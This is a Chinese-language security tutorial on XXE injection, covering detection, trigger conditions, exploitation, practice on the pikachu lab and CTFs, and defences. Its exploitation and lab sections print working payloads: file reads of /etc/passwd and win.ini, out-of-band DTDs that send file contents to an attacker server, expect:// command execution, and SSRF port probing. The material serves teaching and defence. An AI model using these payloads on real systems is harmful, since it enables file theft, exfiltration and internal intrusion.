一、XXE 漏洞概述
(一)定义
XXE(XML 外部实体注入)漏洞源于 XML 解析器对外部实体的不当处理,攻击者借此注入恶意 XML 实体,可实现敏感文件读取、远程命令执行和内网渗透等危险操作。
(二)识别方法
- 请求类型分析
- 重点关注 POST 请求,多数 XXE 漏洞涉及 XML 数据的 POST 提交,也需留意其他可能包含 XML 数据的请求类型。
- MIME 类型与请求头检查
- 关注 application/xml、text/xml 等 XML 相关 MIME 类型,注意 Content - Type 头,必要时可修改为 application/xml 进行测试。
- XML 标签识别
- 寻找明显的自定义 XML 标签及分析 XML 结构,以确定可能的薄弱环节。
二、触发条件
(一)版本因素
- libxml < 2.9.0 默认开启外部实体解析。
- PHP(libxml < 2.9.1)中 libxml_disable_entity_loader 设置为 FALSE 时可能启用外部实体解析。
(二)配置因素
系统管理员可能手动开启外部实体解析,需采取额外安全措施。
三、攻击分类与利用
(一)攻击类型
- 显式攻击
- 特征:攻击者直接从应用程序响应获取外部实体内容。
- 优势:直接、快速,便于验证利用,适合初步探测。
- 局限:在现代应用中较少见,因开发者已意识到其危险性。
- 盲攻击(Blind XXE)
- 特征:应用程序不直接返回外部实体内容,增加攻击难度与隐蔽性。
- 高级技巧:利用参数实体读取本地文件,将内容作为 URL 参数发送到攻击者控制的服务器。
- 现实应用:多数 XXE 漏洞为此类型,需复杂利用手法。
- 关键要求:需具有公网 IP 的服务器接收记录数据,采用带外数据通道(OOB)技术实现隐蔽传输收集。
(二)利用方式
- 读取任意文件
- 有回显情况
<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml, null, LIBXML_NOENT);
print_r($data);
?>
通过访问相关页面可读取 /etc/passwd 文件内容。
- 无回显情况(利用 OOB)
- 攻击者将.dtd 文件托管在 VPS 上。
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKER_SERVER.com/xxe_file.dtd">
<catalog><core id="test101"><author>John Doe</author><title>I love XML</title><category>Computers</category><price>9.99</price><date>2018-10-01</date><description>&xxe;</description></core>
</catalog>
.dtd 文件内容可能为:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKER_SERVER.com/?%file;'>">
%all;
易受攻击的服务器获取.dtd 文件并执行命令,攻击者从服务器日志查看文件内容。
- 命令执行
在 PHP 环境下,需安装 expect 扩展(默认未安装)。
<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "expect://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml, null, LIBXML_NOENT);
print_r($data);
?>
- 内网探测 / SSRF
利用 http:// 协议发起 HTTP 请求探查内网,如端口扫描:
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080">]>
<catalog><core id="test101"><author>John Doe</author><title>I love XML</title><category>Computers</category><price>9.99</price><date>2018-10-01</date><description>&xxe;</description></core>
</catalog>
根据响应时间 / 长度判断端口是否开启。
- 其他攻击方式(如 DDoS)
如 Billion Laughs 攻击,通过构造恶意 XML 实体文件耗尽内存。
四、漏洞练习
(一)pikachu 靶场
- 有回显情况
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<foo>&xxe;</foo>
- 无回显情况
- 注释回显代码构造无回显环境。
- 使用 dnslog 判断漏洞,修改 payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://h7yyv7.dnslog.cn">
]>
<foo>&xxe;</foo>
确认漏洞后,用 VPS(如 Kali)创建 evil.dtd 文件:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///F:/xxe.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.31.229?c=%file;'>">
在 pikachu 中使用 payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.31.229/evil.dtd">
%remote;%int;%send;
]>
(二)CTF 场景
- 观察 POST 包(可能为 application/json)内容。
- 更改请求包类型为 application/xml 测试,尝试内部实体参数的 XXE payload,可能成功返回数据。
五、漏洞防御
- 升级版本
libxml 2.9.1 及以后默认不解析外部实体。 - 禁用外部实体方法
- PHP:libxml_disable_entity_loader(true);
- Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
- Python
from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))
过滤 XML 数据
过滤关键词:<!DOCTYPE、<!ENTITY、SYSTEM 和 PUBLIC。